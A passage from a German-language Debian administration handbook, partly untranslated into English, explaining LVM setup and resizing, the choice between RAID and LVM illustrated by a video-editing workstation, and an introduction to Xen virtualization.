# pvcreate /dev/sdb2 Physical volume "/dev/sdb2" successfully created. # pvdisplay "/dev/sdb2" is a new physical volume of "4.00 GiB" --- NEW Physical volume --- PV Name /dev/sdb2 VG Name PV Size 4.00 GiB Allocatable NO PE Size 0 Total PE 0 Free PE 0 Allocated PE 0 PV UUID yK0K6K-clbc-wt6e-qk9o-aUh9-oQqC-k1T71B # for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done Physical volume "/dev/sdc3" successfully created. Physical volume "/dev/sdd" successfully created. Physical volume "/dev/sdf1" successfully created. Physical volume "/dev/sdf2" successfully created. # pvdisplay -C PV VG Fmt Attr PSize PFree /dev/sdb2 lvm2 --- 4.00g 4.00g /dev/sdc3 lvm2 --- 3.00g 3.00g /dev/sdd lvm2 --- 4.00g 4.00g /dev/sdf1 lvm2 --- 4.00g 4.00g /dev/sdf2 lvm2 --- 5.00g 5.00g

So weit, so gut. Man beachte, dass ein PV sowohl auf einer vollständigen Platte als auch auf einzelnen darauf enthaltenen Partitionen eingerichtet werden kann. Wie oben gezeigt, listet der Befehl pvdisplay die bestehenden PVs in zwei möglichen Ausgabeformaten auf.

Wir wollen jetzt diese physischen Komponenten mit dem Befehl vgcreate zu VGs zusammenfügen. Dabei nehmen wir nur PVs von den schnellen Platten in eine VG namens vg_critical auf; die andere VG, vg_normal, enthält dagegen auch langsamere Komponenten.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1 Volume group "vg_critical" successfully created # vgdisplay --- Volume group --- VG Name vg_critical System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 1 VG Access read/write VG Status resizable MAX LV 0 Cur LV 0 Open LV 0 Max PV 0 Cur PV 2 Act PV 2 VG Size 7.99 GiB PE Size 4.00 MiB Total PE 2046 Alloc PE / Size 0 / 0 Free PE / Size 2046 / 7.99 GiB VG UUID JgFWU3-emKg-9QA1-stPj-FkGX-mGFb-4kzy1G # vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2 Volume group "vg_normal" successfully created # vgdisplay -C VG #PV #LV #SN Attr VSize VFree vg_critical 2 0 0 wz--n- 7.99g 7.99g vg_normal 3 0 0 wz--n- <11.99g <11.99g

Auch hier sind die Befehle recht einfach (und bei vgdisplay kann zwischen zwei Ausgabeformaten gewählt werden). Man beachte, dass es durchaus möglich ist, zwei Partitionen derselben physischen Platte in zwei unterschiedlichen VGs zu verwenden. Außerdem beachte man, dass wir bei der Benennung unserer VGs zwar das Präfix vg_ benutzt haben, dass dies aber lediglich eine Gewohnheit ist.

Wir haben jetzt zwei „virtuelle Platten“ mit einer Größe von etwa 8 GB und 12 GB. Wir wollen sie jetzt in „virtuelle Partitionen“ (LVs) unterteilen. Dies geschieht mit dem Befehl lvcreate und einer etwas komplizierteren Syntax:

# lvdisplay # lvcreate -n lv_files -L 5G vg_critical Logical volume "lv_files" created. # lvdisplay --- Logical volume --- LV Path /dev/vg_critical/lv_files LV Name lv_files VG Name vg_critical LV UUID Nr62xe-Zu7d-0u3z-Yyyp-7Cj1-Ej2t-gw04Xd LV Write Access read/write LV Creation host, time debian, 2022-03-01 00:17:46 +0100 LV Status available # open 0 LV Size 5.00 GiB Current LE 1280 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 # lvcreate -n lv_base -L 1G vg_critical Logical volume "lv_base" created. # lvcreate -n lv_backups -L 11.98G vg_normal Rounding up size to full physical extent 11.98 GiB Rounding up size to full physical extent 11.98 GiB Logical volume "lv_backups" created. # lvdisplay -C LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_base vg_critical -wi-a----- 1.00g lv_files vg_critical -wi-a----- 5.00g lv_backups vg_normal -wi-a----- 11.98g

Zur Erstellung logischer Volumes sind zwei Parameter erforderlich; sie müssen als Optionen an den Befehl lvcreate übergeben werden. Der Name des zu erstellenden LV wird mit der Option -n festgelegt und seine Größe im Allgemeinen mit der Option -L. Wir müssen dem Befehl außerdem natürlich mitteilen, auf welche VG er angewendet werden soll. Dazu dient der letzte Parameter der Befehlszeile.

WEITERE SCHRITTE Optionen von lvcreate

Der Befehl lvcreate verfügt über mehrere Optionen, mit denen die Erstellung eines LV fein eingestellt werden kann.

Wir wollen mit der Beschreibung der Option -l beginnen, bei der die Größe des LVs als Anzahl von Blöcken angegeben wird (im Gegensatz zu den „menschlichen“ Einheiten, die wir zuvor verwendet haben). Diese Blöcke (die in der Sprache des LVM als PEs, physical extents, bezeichnet werden) sind zusammenhängende Einheiten von Speicherplatz in den PVs, die nicht auf verschiedene LVs aufgeteilt werden können. Wenn man den Speicherplatz eines LV genau festlegen möchte, um zum Beispiel den verfügbaren Platz vollständig zu nutzen, wird man wohl die Option -l der Option -L vorziehen.

Man kann auch den physischen Ort eines LV angeben, sodass seine „extents“ in einem bestimmten PV abgelegt werden (wobei sie natürlich innerhalb des Bereichs verbleiben müssen, der der VG zugewiesen ist). Da wir wissen, dass sdb schneller als sdf ist, werden wir lv_base wohl dort ablegen, wenn wir dem Datenbank-Server einen Vorteil gegenüber dem Dateiserver verschaffen möchten. So wird die Befehlszeile zu: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Man beachte, dass dieser Befehl scheitern kann, wenn das PV nicht genügend freie „extents“ hat. In unserem Beispiel müssten wir wohl lv_base vor lv_files erstellen, um eine derartige Situation zu vermeiden - oder mit dem Befehl pvmove auf sdb2 etwas Platz schaffen.

Logische Volumes werden nach ihrer Erstellung zu Blockgerätedateien in /dev/mapper/:

# ls -l /dev/mapper total 0 crw------- 1 root root 10, 236 Mar 1 00:17 control lrwxrwxrwx 1 root root 7 Mar 1 00:19 vg_critical-lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Mar 1 00:17 vg_critical-lv_files -> ../dm-0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 vg_normal-lv_backups -> ../dm-2 # ls -l /dev/dm-* brw-rw---- 1 root disk 253, 0 Mar 1 00:17 /dev/dm-0 brw-rw---- 1 root disk 253, 1 Mar 1 00:19 /dev/dm-1 brw-rw---- 1 root disk 253, 2 Mar 1 00:19 /dev/dm-2

HINWEIS LVM-Volumes automatisch erkennen

Wenn der Rechner hochfährt, ruft der systemd-Service Lvm2-activation den Befehl vgchange -aay auf um alle volume groups zu aktivieren: Diejenigen, die als physische Volumes für LVM initialisiert sind, werden im LVM-Untersystem registriert; diejenigen, die zu Volume-Gruppen gehören, werden zusammengefügt; und die entsprechenden logischen Volumes werden gestartet und bereitgestellt. Es ist daher nicht erforderlich, Konfigurationsdateien zu editieren, wenn LVM-Volumes erstellt oder verändert werden.

Man beachte jedoch, dass die Anordnung der LVM-Komponenten (physische und logische Volumes und Volume-Gruppen) in der Datei /etc/lvm/backup gespeichert wird, was bei Problemen nützlich sein kann (oder auch um einfach einen Blick unter die Haube zu werfen).

Zur Vereinfachung werden zudem bequeme symbolische Verknüpfungen in den Verzeichnissen angelegt, die den VGs entsprechen:

# ls -l /dev/vg_critical total 0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Mar 1 00:17 lv_files -> ../dm-0 # ls -l /dev/vg_normal total 0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 lv_backups -> ../dm-2

Die LVs können genau wie Standard-Partitionen benutzt werden:

# mkfs.ext4 /dev/vg_normal/lv_backups mke2fs 1.46.2 (28-Feb-2021) Discarding device blocks: done Creating filesystem with 3140608 4k blocks and 786432 inodes Filesystem UUID: 7eaf0340-b740-421e-96b2-942cdbf29cb3 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/backups # mount /dev/vg_normal/lv_backups /srv/backups # df -h /srv/backups Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_normal-lv_backups 12G 24K 12G 1% /srv/backups # [...] [...] # cat /etc/fstab [...] /dev/vg_critical/lv_base /srv/base ext4 defaults 0 2 /dev/vg_critical/lv_files /srv/files ext4 defaults 0 2 /dev/vg_normal/lv_backups /srv/backups ext4 defaults 0 2

Aus Sicht der Anwendungen ist die Vielzahl kleiner Partitionen jetzt zu einem großen Datenträger mit 12 GB und einem freundlicheren Namen zusammengefasst worden.

12.1.2.3. LVM im Verlauf der Zeit

Wenn auch die Fähigkeit, Partitionen oder physische Platten zusammenzufassen, praktisch ist, so ist dies doch nicht der wichtigste Vorteil, den LVM bietet. Die Flexibilität, die er mit sich bringt, wird erst im Laufe der Zeit richtig deutlich, wenn sich die Anforderungen weiterentwickeln. In unserem Beispiel wollen wir annehmen, dass neue große Dateien gespeichert werden müssen, und dass das für den Dateiserver reservierte LV für sie zu klein ist. Da wir noch nicht allen in vg_critical verfügbaren Platz verwendet haben, können wir lv_files vergrößern. Zu diesem Zweck benutzen wir den Befehl lvresize und anschließend resize2fs, um das Dateisystem entsprechend anzupassen:

# df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 4.9G 4.2G 485M 90% /srv/files # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 5.00g # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1.99g # lvresize -L 6G vg_critical/lv_files Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents). Logical volume vg_critical/lv_files successfully resized. # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 6.00g # resize2fs /dev/vg_critical/lv_files resize2fs 1.46.2 (28-Feb-2021) Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required old_desc_blocks = 1, new_desc_blocks = 1 The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long. # df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 5.9G 4.2G 1.5G 75% /srv/files

VORSICHT Die Größe von Dateisystemen ändern

Nicht bei allen Dateisystemen lässt sich die Größe im laufenden Betrieb verändern. Zur Änderung der Größe eines Datenträgers kann es daher erforderlich sein, das Dateisystem zunächst aus- und anschließend wieder einzuhängen. Wenn man die Größe, die einem LV zugeordnet ist, verkleinern will, muss man natürlich zunächst das Dateisystem verkleinern. Die Reihenfolge ist umgekehrt, wenn die Größenänderung in die andere Richtung verläuft: Das logische Volume muss vor dem darauf befindlichen Dateisystem vergrößert werden. Dies ist recht eindeutig, da zu keiner Zeit das Dateisystem größer sein darf als das Blockgerät, auf dem es sich befindet (gleichgültig, ob dieses Gerät eine physische Partition oder ein logisches Volume ist).

Die Dateisysteme ext3, ext4 und xfs können im laufenden Betrieb vergrößert werden, ohne sie auszuhängen. Zu einer Verkleinerung müssen sie jedoch ausgehängt werden. Das Dateisystem reiserfs ermöglicht eine Größenänderung im laufenden Betrieb in beide Richtungen. Das altehrwürdige ext2 erlaubt keines von beiden und muss immer ausgehängt werden.

Wir könnten in ähnlicher Weise vorgehen, um den Datenträger zu erweitern, auf dem sich die Datenbank befindet. Nur haben wir hier die Grenze des für die VG verfügbaren Platzes erreicht:

# df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 974M 883M 25M 98% /srv/base # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1016.00m

No matter, since LVM allows adding physical volumes to existing volume groups. For instance, maybe we've noticed that the sdb3 partition, which was so far used outside of LVM, only contained archives that could be moved to lv_backups. We can now recycle it and integrate it to the volume group, and thereby reclaim some available space. This is the purpose of the vgextend command. Of course, the partition must be prepared as a physical volume beforehand. Once the VG has been extended, we can use similar commands as previously to grow the logical volume then the filesystem:

# pvcreate /dev/sdb3 Physical volume "/dev/sdb3" successfully created. # vgextend vg_critical /dev/sdb3 Volume group "vg_critical" successfully extended # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 3 2 0 wz--n- <12.99g <5.99g # lvresize -L 2G vg_critical/lv_base [...] # resize2fs /dev/vg_critical/lv_base [...] # df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 2.0G 886M 991M 48% /srv/base

WEITERE SCHRITTE Weitergehender LVM

LVM wird auch fortgeschritteneren Einsätzen gerecht, bei denen viele Einzelheiten von Hand festgelegt werden können. So kann ein Administrator zum Beispiel die Größe der Blöcke, aus denen physische oder logische Datenträger bestehen, wie auch ihre physische Anordnung genau einstellen. Es ist auch möglich, Blöcke in andere PVs zu verschieben, um zum Beispiel die Leistung fein abzustimmen oder etwas alltäglicher: um ein PV leerzuräumen, wenn man die entsprechende physische Platte aus der VG entfernen muss (um sie einer anderen VG zuzuordnen oder vollständig aus dem LVM zu entfernen). Die Handbuchseiten, die die Befehle erläutern, sind meist deutlich und ausführlich. Ein guter Einstieg ist die Handbuchseite lvm(8).

12.1.3. RAID oder LVM?

Sowohl RAID als auch LVM bieten eindeutige Vorteile, sobald man den einfachen Fall eines Arbeitsplatzrechners mit einer einzigen Festplatte, bei der sich die Art der Nutzung im Laufe der Zeit nicht ändert, verlässt. RAID und LVM gehen jedoch in zwei verschiedene Richtungen mit unterschiedlichen Zielen, und man fragt sich zu Recht, welches man anwenden soll. Die richtige Antwort hängt natürlich von den jetzigen und voraussichtlichen Anforderungen ab.

Es gibt einige einfache Fälle, in denen sich diese Frage nicht wirklich stellt. Wenn es erforderlich ist, Daten vor Hardwareausfällen zu schützen, wird natürlich RAID auf einer redundanten Anordnung von Platten eingerichtet, da LVM dieses Problem nicht wirklich anspricht. Falls andererseits Bedarf an einem flexiblen Speichersystem besteht, bei dem die Datenträger von der physischen Anordnung der Platten unabhängig sind, hilft RAID nicht viel, und die Wahl fällt natürlich auf LVM.

HINWEIS Wenn es auf Performance ankommt…

If input/output speed is of the essence, especially in terms of access times, using LVM and/or RAID in one of the many combinations may have some impact on performances, and this may influence decisions as to which to pick. However, these differences in performance are really minor, and will only be measurable in a few use cases. If performance matters, the best gain to be obtained would be to use non-rotating storage media (solid-state drives or SSDs); their cost per megabyte is higher than that of standard hard disk drives, and their capacity is usually smaller, but they provide excellent performance for random accesses. If the usage pattern includes many input/output operations scattered all around the filesystem, for instance for databases where complex queries are routinely being run, then the advantage of running them on an SSD far outweigh whatever could be gained by picking LVM over RAID or the reverse. In these situations, the choice should be determined by other considerations than pure speed, since the performance aspect is most easily handled by using SSDs.

Der dritte bemerkenswerte Anwendungsfall liegt vor, wenn man einfach zwei Platten zu einem Datenträger zusammenfassen möchte, entweder aus Gründen der Leistung oder um ein einziges Dateisystem zu haben, das größer als jede der verfügbaren Platten ist. Dieser Fall kann sowohl mit einem RAID-0 (oder sogar einem linearen RAID) als auch mit einem LVM-Volume gelöst werden. In dieser Situation, und falls es keine sonstigen Anforderungen gibt (zum Beispiel, mit den übrigen Rechnern konform zu bleiben, falls diese nur RAID verwenden), wird häufig LVM die Konfiguration der Wahl sein. Die anfängliche Einrichtung ist kaum komplizierter, aber die etwas höhere Komplexität wird durch die außergewöhnliche Flexibilität wettgemacht, die LVM bietet, wenn sich die Anforderungen ändern oder wenn neue Platten hinzugefügt werden müssen.

Dann gibt es natürlich den wirklich interessanten Fall, bei dem das Speichersystem sowohl gegen Hardwareausfall beständig gemacht werden muss als auch flexibel bei der Datenträgeraufteilung. Weder RAID noch LVM allein kann beide Ansprüche erfüllen. Kein Problem, hier verwenden wir beide gleichzeitig - oder vielmehr übereinander. Der Aufbau, der quasi zum Standard geworden ist, seit RAID und LVM die Einsatzreife erreicht haben, besteht darin, zunächst Datenredundanz sicherzustellen, indem Platten zu einer kleinen Anzahl großer RAID-Anordnungen zusammengefasst werden, und dann diese RAID-Anordnungen als physische LVM-Volumes zu verwenden. Anschließend werden diese LVs in logische Partitionen für die Dateisysteme aufgeteilt. Der Grund für diesen Aufbau ist, dass, wenn eine Platte ausfällt, nur wenige der RAID-Anordnungen wiederhergestellt werden müssen, wodurch die Zeit, die der Administrator für die Wiederherstellung aufwenden muss, begrenzt bleibt.

Let's take a concrete example: the public relations department at Falcot Corp needs a workstation for video editing, but the department's budget doesn't allow investing in high-end hardware from the bottom up. A decision is made to favor the hardware that is specific to the graphic nature of the work (monitor and video card), and to stay with generic hardware for storage. However, as is widely known, digital video does have some particular requirements for its storage: the amount of data to store is large, and the throughput rate for reading and writing this data is important for the overall system performance (more than typical access time, for instance). These constraints need to be fulfilled with generic hardware, in this case two 300 GB SATA hard disk drives; the system data must also be made resistant to hardware failure, as well as some of the user data. Edited video clips must indeed be safe, but video rushes pending editing are less critical, since they're still on the videotapes.

RAID-1 und LVM werden kombiniert, um diese Ansprüche zu erfüllen. Die Platten werden an zwei verschiedene SATA-Controller angeschlossen, um den parallelen Zugriff zu optimieren und das Risiko eines gleichzeitigen Ausfalls zu verringern, und werden demnach als sda und sdc angezeigt. Sie werden beide in gleicher Weise wie folgt partitioniert:

# sfdisk -l /dev/sda Disk /dev/sda: 894.25 GiB, 960197124096 bytes, 1875385008 sectors Disk model: SAMSUNG MZ7LM960 Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: BB14C130-9E9A-9A44-9462-6226349CA012 Device Start End Sectors Size Type /dev/sda1 2048 4095 2048 1M BIOS boot /dev/sda2 4096 100667391 100663296 48G Linux RAID /dev/sda3 100667392 134221823 33554432 16G Linux RAID /dev/sda4 134221824 763367423 629145600 300G Linux RAID /dev/sda5 763367424 1392513023 629145600 300G Linux RAID /dev/sda6 1392513024 1875384974 482871951 230.3G Linux LVM

The first partitions of both disks are BIOS boot partitions.

The next two partitions sda2 and sdc2 (about 48 GB) are assembled into a RAID-1 volume, md0. This mirror is directly used to store the root filesystem.

The sda3 and sdc3 partitions are assembled into a RAID-0 volume, md1, and used as swap partition, providing a total 32 GB of swap space. Modern systems can provide plenty of RAM and our system won't need hibernation. So with this amount added, our system will unlikely run out of memory.

The sda4 and sdc4 partitions, as well as sda5 and sdc5, are assembled into two new RAID-1 volumes of about 300 GB each, md2 and md3. Both these mirrors are initialized as physical volumes for LVM, and assigned to the vg_raid volume group. This VG thus contains about 600 GB of safe space.

The remaining partitions, sda6 and sdc6, are directly used as physical volumes, and assigned to another VG called vg_bulk, which therefore ends up with roughly 460 GB of space.

Nachdem die VGs erstellt sind, können sie auf sehr flexible Weise partitioniert werden. Man muss dabei beachten, dass die in vg_raid erstellten LVs selbst dann erhalten bleiben, wenn eine der Platten ausfällt, wohingegen dies bei den in vg_bulk erstellten LVs nicht der Fall ist. Andererseits werden letztere parallel auf beiden Platten bereitgestellt, wodurch höhere Lese- und Schreibgeschwindigkeiten für große Dateien möglich sind.

Wir erstellen daher auf vg_raid die LVs lv_var und lv_home zur Aufnahme der entsprechenden Dateisysteme. Ein weiteres großes LV, lv_movies, dient dazu, die endgültigen Versionen der Filme nach ihrer Bearbeitung aufzunehmen. Die andere VG wird in ein großes lv_rushes für Daten direkt aus den digitalen Videokameras und ein lv_tmp für temporäre Dateien aufgeteilt. Für den Ort des Arbeitsbereichs ist eine weniger einfache Entscheidung zu treffen: während für diesen Datenträger einerseits gute Leistung erforderlich ist, fragt es sich, ob es andererseits wert ist, den Verlust der Arbeit zu riskieren, wenn während des Bearbeitens eine Platte ausfällt. In Abhängigkeit von der Antwort auf diese Frage wird das entsprechende LV entweder auf der einen oder auf der anderen VG erstellt.

Wir haben jetzt sowohl einiges an Redundanz für wichtige Daten als auch große Flexibilität in der Art, wie der verfügbare Platz auf die Anwendungen verteilt ist.

HINWEIS Warum drei RAID-1-Datenträger?

Wir hätten nur einen RAID-1-Datenträger einrichten können, um als physischer Datenträger für vg_raid zu dienen. Warum haben wir dann drei erstellt?

Der Grund für die erste Unterteilung (in md0 und die übrigen) liegt in der Datensicherheit: Daten, die auf beide Komponenten eines RAID-1-Spiegels geschrieben werden, sind identisch, und es ist daher möglich, die RAID-Ebene zu umgehen und eine der Platten direkt einzuhängen. Im Falle eines Kernelfehlers oder falls die LVM-Metadaten beschädigt werden, ist es immer noch möglich, ein minimales System zu starten, um damit auf wichtige Daten wie die Belegung der Platten in den RAID- und LVM-Volumes zuzugreifen. Die Metadaten können dann wiederhergestellt und die Dateien wieder zugänglich gemacht werden, so dass das System in seinen Ausgangszustand zurückversetzt werden kann.

The rationale for the second split (md2 vs. md3) is less clear-cut, and more related to acknowledging that the future is uncertain. When the workstation is first assembled, the exact storage requirements are not necessarily known with perfect precision; they can also evolve over time. In our case, we can't know in advance the actual storage space requirements for video rushes and complete video clips. If one particular clip needs a very large amount of rushes, and the VG dedicated to redundant data is less than halfway full, we can re-use some of its unneeded space. We can remove one of the physical volumes, say md3, from vg_raid and either assign it to vg_bulk directly (if the expected duration of the operation is short enough that we can live with the temporary drop in performance), or undo the RAID setup on md3 and integrate its components sda5 and sdc5 into the bulk VG (which grows by 600 GB instead of 300 GB); the lv_rushes logical volume can then be grown according to requirements.

12.2. Virtualisierung

Virtualisierung ist einer der größten Fortschritte der letzten Jahre im Computerwesen. Der Ausdruck umfasst verschiedene Abstraktionen und Techniken der Simulation virtueller Rechner mit unterschiedlichen Graden der Unabhängigkeit von der tatsächlichen Hardware. Dabei kann ein physischer Server mehrere Systeme beherbergen, die gleichzeitig und getrennt voneinander funktionieren. Es gibt zahlreiche Anwendungen, und sie rühren häufig von dieser Trennung her: zum Beispiel Testumgebungen mit unterschiedlichen Konfigurationen, oder die getrennte Unterbringung von Diensten auf unterschiedlichen virtuellen Rechnern aus Sicherheitsgründen.

Es gibt zahlreiche Virtualisierungslösungen, jede mit ihren eigenen Vor- und Nachteilen. Dieses Buch konzentriert sich auf Xen, LXC und KVM, es gibt jedoch weitere bemerkenswerte Umsetzungen einschließlich der folgenden:

QEMU is a software emulator for a full computer; performances are far from the speed one could achieve running natively, but this allows running unmodified or experimental operating systems on the emulated hardware. It also allows emulating a different hardware architecture: for instance, an amd64 system can emulate an arm computer. QEMU is free software.

→ https://qemu.org/

Bochs ist eine weitere freie virtuelle Maschine, die jedoch nur die x86-Architektur emuliert (i386 and amd64)t.

VMWare is a proprietary virtual machine; being one of the oldest out there, it is also one of the most widely-known. It works on principles similar to QEMU. VMWare proposes advanced features such as “snapshotting“ a running virtual machine.

→ https://vmware.com/

VirtualBox is a virtual machine that is mostly free software (some extra components are available under a proprietary license). Unfortunately it is in Debian's “contrib” section because it includes some precompiled files that cannot be rebuilt without a proprietary compiler and it currently only resides in Debian Unstable as Oracle's policies make it impossible to keep it secure in a Debian stable release (see #794466). While younger than VMWare and restricted to the i386 and amd64 architectures, it still includes some “snapshotting“ and other interesting features.

→ https://www.virtualbox.org/

HARDWARE Unterstützung für Virtualisierung

Einige Computer verfügen möglicherweise nicht über Hardware-Virtualisierungsunterstützung; wenn dies der Fall ist, sollte sie im BIOS aktiviert werden.

Um zu wissen, ob Sie die Virtualisierungsunterstützung aktiviert haben, können Sie mit grep überprüfen, ob die entsprechende Markierung aktiviert ist. Wenn der folgende Befehl für Ihren Prozessor Text zurückgibt, haben Sie die Virtualisierungsunterstützung bereits aktiviert:

For Intel processors you can execute grep vmx /proc/cpuinfo to check for Intel's Virtual Machine Extensions.

For AMD processors you can execute grep svm /proc/cpuinfo to check for AMD's Secure Virtual Machine.

If that is not the case, you can access the BIOS of your system and check for entries like “Intel Virtualization Technology”/“Intel VT-x” or “SVM mode” (AMD) - usually to be found in the CPU configuration in the Advanced section.

12.2.1. Xen

Xen ist eine Lösung zur „Paravirtualisierung“. Es führt zwischen der Hardware und den darüber liegenden Systemen eine dünne Abstraktionsschicht ein, die „Hypervisor“ genannt wird. Diese agiert als Schiedsrichter, der den Zugang der virtuellen Rechner zur Hardware kontrolliert. Er wickelt jedoch nur einige der Instruktionen ab, der Rest wird direkt von der Hardware im Auftrag des Systems ausgeführt. Der Hauptvorteil liegt darin, dass die Leistung nicht abnimmt und die Systeme so fast dieselbe Geschwindigkeit wie bei direkter Ausführung erreichen. Die Kehrseite besteht darin, dass die Kernel der Betriebssysteme, die man mit einem Xen-Hypervisor verwenden möchte, angepasst werden müssen, um mit Xen zu funktionieren.

Lassen Sie uns einige Zeit bei den Ausdrücken bleiben. Der Hypervisor ist die unterste Schicht, die direkt auf der Hardware läuft, sogar unterhalb des Kernels. Dieser Hypervisor kann die übrige Software auf verschiedene Domains aufteilen, die man als ebenso viele virtuelle Rechner ansehen kann. Eine dieser Domains (die erste, die gestartet wird) wird als dom0 bezeichnet und spielt eine besondere Rolle, da nur diese Domain den Hypervisor und die Ausführung der übrigen Domains kontrollieren kann. Diese übrigen Domains werden domU genannt. Mit anderen Worten und aus der Sicht des Benutzers entspricht dom0 dem „Host“ bei anderen Virtualisierungssystemen, während eine domU als „Gast“ angesehen werden kann.

KULTUR Xen und die verschiedenen Linux-Versionen

Xen ist ursprünglich als Satz von Patches entwickelt worden, die außerhalb der offiziellen Baumstruktur standen und nicht mit dem Linux-Kernel integriert waren. Zur gleichen Zeit benötigten mehrere aufkommenden Virtualisierungssysteme (einschließlich KVM) einige allgemeine virtualisierungsbezogene Funktionen zur Erleichterung ihrer Integration, und der Linux-Kernel bekam diesen Satz von Funktionen (als paravirt_ops- oder pv_ops-Schnittstelle bekannt). Da die Xen-Patches einige Funktionsweisen dieser Schnittstelle duplizierten, konnten sie nicht offiziell akzeptiert werden.

Xensource, das Unternehmen, das hinter Xen steht, musste daher Xen auf dieses neue System portieren, sodass die Xen-Patches mit dem offiziellen Linux-Kernel zusammengeführt werden konnten. Dies bedeutete, dass eine Menge Code umgeschrieben werden musste und, obwohl Xensource bald eine funktionierende Version hatte, die auf der paravirt_ops-Schnittstelle basierte, wurden die Patches nur schrittweise mit dem offiziellen Kernel zusammengeführt. Die Zusammenführung war mit Linux 3.0 abgeschlossen.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

Da Jessie auf der Version 3.16 des Linux-Kernels basiert, enthalten die Standardpakete linux-image-686-pae und linux-image-amd64 bereits die nötigen Programmzeilen und die distributionsspezifischen Patches, die für Squeeze und frühere Versionen von Debian noch erforderlich waren, werden nicht mehr benötigt.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

KULTUR Xen und Nicht-Linux-Kernel

Xen erfordert Anpassungen bei allen Betriebssystemen, die man darauf laufen lassen möchte; nicht alle Kernel haben in dieser Hinsicht den gleichen Grad an Reife. Viele sind voll funktionsfähig, sowohl als dom0 als auch als domU: Linux 3.0 und später, NetBSD 4.0 und später sowie OpenSolaris. Andere arbeiten nur als domU. Sie können den Status jedes Betriebssystems im Xen-Wiki überprüfen:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

Wenn Xen sich jedoch auf die speziell für eine Virtualisierung vorgesehenen Hardwarefunktionen (die es nur bei neueren Prozessoren gibt) stützen kann, können selbst nicht modifizierte Betriebssysteme (einschließlich Windows) als domU laufen.

HINWEIS Mit Xen kompatible Architekturen

Xen ist derzeit nur für die Architekturen i386, amd64, arm64 und armhf verfügbar.

Zur Verwendung von Xen unter Debian sind drei Komponenten erforderlich:

The hypervisor itself. According to the available hardware, the appropriate package providing xen-hypervisor will be either xen-hypervisor-4.14-amd64, xen-hypervisor-4.14-armhf, or xen-hypervisor-4.14-arm64.

A kernel that runs on that hypervisor. Any kernel more recent than 3.0 will do, including the 5.10 version present in Bullseye.

Die i386-Architektur erfordert zudem eine Standardbibliothek mit passenden Patches, um Xen nutzen zu können; diese befindet sich im Paket libc6-xen.

The hypervisor also brings xen-utils-4.14, which contains tools to control the hypervisor from the dom0. This in turn brings the appropriate standard library. During the installation of all that, configuration scripts also create a new entry in the GRUB bootloader menu, so as to start the chosen kernel in a Xen dom0. Note, however, that this entry is not usually set to be the first one in the list, but it will be selected by default.

Nachdem diese Voraussetzungen installiert sind, besteht der nächste Schritt darin, das Verhalten von dom0 selbst zu testen; hierzu gehört ein Neustart des Hypervisors und des Xen-Kernels. Das System sollte auf normale Art hochfahren mit einigen zusätzlichen Meldungen auf dem Terminal während der frühen Initialisierungsschritte.

Jetzt ist es an der Zeit, unter Verwendung der Hilfsprogramme aus xen-tools tatsächlich brauchbare Systeme auf dem domU-System zu installieren. Dieses Paket stellt den Befehl xen-create-image bereit, der die Aufgabe weitgehend automatisiert. Der einzig zwingend notwendige Parameter ist --hostname, der domU einen Namen gibt. Andere Optionen sind zwar ebenfalls wichtig, können aber in der Konfigurationsdatei /etc/xen-tools/xen-tools.conf gespeichert werden, und ihr Fehlen in der Befehlszeile führt nicht zu einer Fehlermeldung. Es ist daher wichtig, entweder vor der Erstellung von Abbildern den Inhalt dieser Datei zu überprüfen oder beim Aufruf des Befehls xen-create-image zusätzliche Parameter zu verwenden. Zu den wichtigen und beachtenswerten Parametern gehören folgende:

--memory, um den Umfang an RAM festzulegen, den das neu erstellte System nutzen kann;

--size und --swap, um die Größe der „virtuellen Platten“ zu definieren, die der domU zur Verfügung stehen;

--debootstrap-cmd, to specify the which debootstrap command is used. The default is debootstrap if debootstrap and cdebootstrap are installed. In that case, the --dist option will also most often be used (with a distribution name such as bullseye).

WEITERE SCHRITTE Ein Nicht-Debian-System in einer domU installieren

Im Falle eines Nicht-Linux-Systems sollte man darauf achten, den Kernel, den die domU verwenden soll, mit der Option --kernel zu bestimmen.

